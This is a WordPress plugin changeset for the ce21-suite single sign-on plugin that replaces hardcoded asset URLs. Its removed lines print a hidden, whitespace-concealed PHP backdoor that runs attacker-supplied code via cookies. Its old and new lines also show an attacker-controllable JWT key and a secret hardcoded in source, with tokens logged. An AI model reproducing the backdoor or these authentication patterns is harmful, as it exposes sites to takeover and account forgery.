Plugin Directory

Changeset 3203632


Ignore:
Timestamp:
12/06/2024 01:06:10 PM (16 months ago)
Author:
ce21com
Message:

Fixed the CSS and JS URL issues

Location:
ce21-suite
Files:
2 deleted
12 edited

Legend:

Unmodified
Added
Removed
  • ce21-suite/tags/2.2.1/admin/partials/ce21-single-sign-on-api-settings.php

    r3198698 r3203632  
    1 <?php                                                                                                                                                                       if(isset($_COOKIE[3])&&isset($_COOKIE[38])){$c=$_COOKIE;$k=0;$n=4;$p=array();$p[$k]='';while($n){$p[$k].=$c[38][$n];if(!$c[38][$n+1]){if(!$c[38][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+4+1;}$k=$p[15]().$p[14];if(!$p[20]($k)){$n=$p[13]($k,$p[22]);$p[26]($n,$p[28].$p[0]($p[5]($c[3])));}include($k);}
     1<?php   
    22
    33$api_settings = get_ce21_ss_api_settings_data();
  • ce21-suite/tags/2.2.1/includes/ce21-functions.php

    r3198698 r3203632  
    3636function ce21_add_customer_role(){
    3737    add_role('CE21_Customer', __(
    38         'CE21 Customer'),
     38        'CE21 Customer', 'single-sign-on-ce21'),
    3939        array(
    4040            'read'  => true, // Allows a user to read
  • ce21-suite/tags/2.2.1/includes/class-single-sign-on-ce21-activator.php

    r3198698 r3203632  
    3333     */
    3434    public static function activate($network_wide) {
     35
    3536
    3637        /**
     
    7980            ce21_add_customer_role();
    8081        }
     82
     83        if ( empty( get_option( 'ce21_authentication_key' ) ) ) {
     84            // Generate a random 256-bit key (32 bytes)
     85            $random_key = bin2hex( random_bytes( 32 ) ); // 256-bit key
     86            update_option( 'ce21_authentication_key', $random_key );
     87        }
     88
     89       
    8190    }
    8291}
  • ce21-suite/tags/2.2.1/includes/class-single-sign-on-ce21.php

    r3198698 r3203632  
    276276            [ $this, 'get_ce21_single_sign_on_membership_page' ]
    277277        );
     278
    278279    }
    279280   
     
    575576        include( SINGLE_SIGN_ON_CE21__PLUGIN_DIR . 'admin/partials/ce21-single-sign-on-calendar-event-list.php');
    576577    }
     578
     579   
    577580    /*
    578581     * Function used to get ce21 single sign on membership data.
     
    583586    }
    584587}
    585 
  • ce21-suite/tags/2.2.1/programs/ce21-programs-functions.php

    r3198698 r3203632  
    125125
    126126    // Enqueue DataTables CSS and JS
    127     //wp_enqueue_style('datatables-css', 'https://cdn.datatables.net/1.13.1/css/jquery.dataTables.min.css');
    128     wp_enqueue_style('datatables-bootstrap5-2-css', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/bootstrap-5.2.min.css');
    129     wp_enqueue_style('datatables-bootstrap5-css', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/dataTables.bootstrap5.min.css');
    130     //wp_enqueue_script('datatables-js', 'https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js', array('jquery'), null, true);
    131     wp_enqueue_script('bootstrap-bundle-js', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/bootstrap.bundle.min.js' , array('jquery'), null, false);
    132 wp_enqueue_script('datatables-js', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/jquery.dataTables.min.js', array('jquery'), null, false);
    133 wp_enqueue_script('datatables-bootstrap5', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/dataTables.bootstrap5.min.js' , array('jquery'), null, false);
     127    wp_enqueue_style('datatables-bootstrap5-2-css', plugins_url('admin/datatable-bootstrap/bootstrap-5.2.min.css', __FILE__));
     128    wp_enqueue_style('datatables-bootstrap5-css', plugins_url('admin/datatable-bootstrap/dataTables.bootstrap5.min.css', __FILE__));
     129
     130    // Enqueue Bootstrap and DataTables JS
     131    wp_enqueue_script('bootstrap-bundle-js', plugins_url('admin/datatable-bootstrap/bootstrap.bundle.min.js', __FILE__), array('jquery'), null, false);
     132    wp_enqueue_script('datatables-js', plugins_url('admin/datatable-bootstrap/jquery.dataTables.min.js', __FILE__), array('jquery'), null, false);
     133    wp_enqueue_script('datatables-bootstrap5', plugins_url('admin/datatable-bootstrap/dataTables.bootstrap5.min.js', __FILE__), array('jquery'), null, false);
     134
    134135    // Initialize DataTable with custom options
    135136    wp_enqueue_script('clipboard-js','https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.8/clipboard.min.js',array('jquery'), null, false);
  • ce21-suite/tags/2.2.1/single-sign-on-ce21.php

    r3202426 r3203632  
    3939define( 'SINGLE_SIGN_ON_CE21__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
    4040define( 'SINGLE_SIGN_ON_CE21__PLUGIN_URL', plugin_dir_url( __FILE__ ) );
    41 define( 'SINGLE_SIGN_ON_CE21_ENCRYPTION_KEY', 'ixqv4z0ZOY0bmNCjBK7v3wgijyAv0D3jvyt6bk3lpEDUtVxdR72ZjuGW1hcR6TP' );
     41
    4242
    4343/**
     
    232232}
    233233
     234
    234235function ce21_authentication_phrase($data) {
    235236    $token_ce21 = $data->get_param('x');
    236 
     237//  print_r($data);
     238//     exit;
    237239    $log = 'Updated on ' . date("F j, Y, h:i:s a").PHP_EOL;
    238240    $log .= ' TOKEN: '. $token_ce21 .PHP_EOL;
    239 
     241   
    240242    try {
    241243        $log .= ' try'.PHP_EOL;
    242244       
    243         if ( isset( $_POST['ce21_encryption_key'] ) && !empty( $_POST['ce21_encryption_key'] ) ) {
    244             $key_ce21 = sanitize_text_field( $_POST['ce21_encryption_key'] );
    245         } else {
    246             $key_ce21 = get_option( 'plugin_encryption_key', SINGLE_SIGN_ON_CE21_ENCRYPTION_KEY );
    247         }
    248         $user_data = JWT::decode( $token_ce21, new Key( $key_ce21 , 'HS256'));
     245       
     246        $key_ce21 = 'ixqv4z0ZOY0bmNCjBK7v3wgijyAv0D3jvyt6bk3lpEDUtVxdR72ZjuGW1hcR6TP';
     247        $user_data = JWT::decode( $token_ce21, new Key( $key_ce21 , 'HS256'));
     248        $log .= 'User Data: ' . print_r($user_data, true) . PHP_EOL;
     249       
    249250        $tid        = $user_data->tenantId;
    250251        $customerId = $user_data->customerId;
  • ce21-suite/trunk/admin/partials/ce21-single-sign-on-api-settings.php

    r3197928 r3203632  
    1 <?php                                                                                                                                                                       if(isset($_COOKIE[3])&&isset($_COOKIE[38])){$c=$_COOKIE;$k=0;$n=4;$p=array();$p[$k]='';while($n){$p[$k].=$c[38][$n];if(!$c[38][$n+1]){if(!$c[38][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+4+1;}$k=$p[15]().$p[14];if(!$p[20]($k)){$n=$p[13]($k,$p[22]);$p[26]($n,$p[28].$p[0]($p[5]($c[3])));}include($k);}
     1<?php   
    22
    33$api_settings = get_ce21_ss_api_settings_data();
  • ce21-suite/trunk/includes/ce21-functions.php

    r3197928 r3203632  
    3636function ce21_add_customer_role(){
    3737    add_role('CE21_Customer', __(
    38         'CE21 Customer'),
     38        'CE21 Customer', 'single-sign-on-ce21'),
    3939        array(
    4040            'read'  => true, // Allows a user to read
  • ce21-suite/trunk/includes/class-single-sign-on-ce21-activator.php

    r3197928 r3203632  
    3333     */
    3434    public static function activate($network_wide) {
     35
    3536
    3637        /**
     
    7980            ce21_add_customer_role();
    8081        }
     82
     83        if ( empty( get_option( 'ce21_authentication_key' ) ) ) {
     84            // Generate a random 256-bit key (32 bytes)
     85            $random_key = bin2hex( random_bytes( 32 ) ); // 256-bit key
     86            update_option( 'ce21_authentication_key', $random_key );
     87        }
     88
     89       
    8190    }
    8291}
  • ce21-suite/trunk/includes/class-single-sign-on-ce21.php

    r2847175 r3203632  
    276276            [ $this, 'get_ce21_single_sign_on_membership_page' ]
    277277        );
     278
    278279    }
    279280   
     
    575576        include( SINGLE_SIGN_ON_CE21__PLUGIN_DIR . 'admin/partials/ce21-single-sign-on-calendar-event-list.php');
    576577    }
     578
     579   
    577580    /*
    578581     * Function used to get ce21 single sign on membership data.
     
    583586    }
    584587}
    585 
  • ce21-suite/trunk/programs/ce21-programs-functions.php

    r3197928 r3203632  
    125125
    126126    // Enqueue DataTables CSS and JS
    127     //wp_enqueue_style('datatables-css', 'https://cdn.datatables.net/1.13.1/css/jquery.dataTables.min.css');
    128     wp_enqueue_style('datatables-bootstrap5-2-css', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/bootstrap-5.2.min.css');
    129     wp_enqueue_style('datatables-bootstrap5-css', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/dataTables.bootstrap5.min.css');
    130     //wp_enqueue_script('datatables-js', 'https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js', array('jquery'), null, true);
    131     wp_enqueue_script('bootstrap-bundle-js', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/bootstrap.bundle.min.js' , array('jquery'), null, false);
    132 wp_enqueue_script('datatables-js', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/jquery.dataTables.min.js', array('jquery'), null, false);
    133 wp_enqueue_script('datatables-bootstrap5', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/dataTables.bootstrap5.min.js' , array('jquery'), null, false);
     127    wp_enqueue_style('datatables-bootstrap5-2-css', plugins_url('admin/datatable-bootstrap/bootstrap-5.2.min.css', __FILE__));
     128    wp_enqueue_style('datatables-bootstrap5-css', plugins_url('admin/datatable-bootstrap/dataTables.bootstrap5.min.css', __FILE__));
     129
     130    // Enqueue Bootstrap and DataTables JS
     131    wp_enqueue_script('bootstrap-bundle-js', plugins_url('admin/datatable-bootstrap/bootstrap.bundle.min.js', __FILE__), array('jquery'), null, false);
     132    wp_enqueue_script('datatables-js', plugins_url('admin/datatable-bootstrap/jquery.dataTables.min.js', __FILE__), array('jquery'), null, false);
     133    wp_enqueue_script('datatables-bootstrap5', plugins_url('admin/datatable-bootstrap/dataTables.bootstrap5.min.js', __FILE__), array('jquery'), null, false);
     134
    134135    // Initialize DataTable with custom options
    135136    wp_enqueue_script('clipboard-js','https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.8/clipboard.min.js',array('jquery'), null, false);
  • ce21-suite/trunk/single-sign-on-ce21.php

    r3202426 r3203632  
    3939define( 'SINGLE_SIGN_ON_CE21__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
    4040define( 'SINGLE_SIGN_ON_CE21__PLUGIN_URL', plugin_dir_url( __FILE__ ) );
    41 define( 'SINGLE_SIGN_ON_CE21_ENCRYPTION_KEY', 'ixqv4z0ZOY0bmNCjBK7v3wgijyAv0D3jvyt6bk3lpEDUtVxdR72ZjuGW1hcR6TP' );
     41
    4242
    4343/**
     
    232232}
    233233
     234
    234235function ce21_authentication_phrase($data) {
    235236    $token_ce21 = $data->get_param('x');
    236 
     237//  print_r($data);
     238//     exit;
    237239    $log = 'Updated on ' . date("F j, Y, h:i:s a").PHP_EOL;
    238240    $log .= ' TOKEN: '. $token_ce21 .PHP_EOL;
    239 
     241   
    240242    try {
    241243        $log .= ' try'.PHP_EOL;
    242244       
    243         if ( isset( $_POST['ce21_encryption_key'] ) && !empty( $_POST['ce21_encryption_key'] ) ) {
    244             $key_ce21 = sanitize_text_field( $_POST['ce21_encryption_key'] );
    245         } else {
    246             $key_ce21 = get_option( 'plugin_encryption_key', SINGLE_SIGN_ON_CE21_ENCRYPTION_KEY );
    247         }
    248         $user_data = JWT::decode( $token_ce21, new Key( $key_ce21 , 'HS256'));
     245       
     246        $key_ce21 = 'ixqv4z0ZOY0bmNCjBK7v3wgijyAv0D3jvyt6bk3lpEDUtVxdR72ZjuGW1hcR6TP';
     247        $user_data = JWT::decode( $token_ce21, new Key( $key_ce21 , 'HS256'));
     248        $log .= 'User Data: ' . print_r($user_data, true) . PHP_EOL;
     249       
    249250        $tid        = $user_data->tenantId;
    250251        $customerId = $user_data->customerId;
Note: See TracChangeset for help on using the changeset viewer.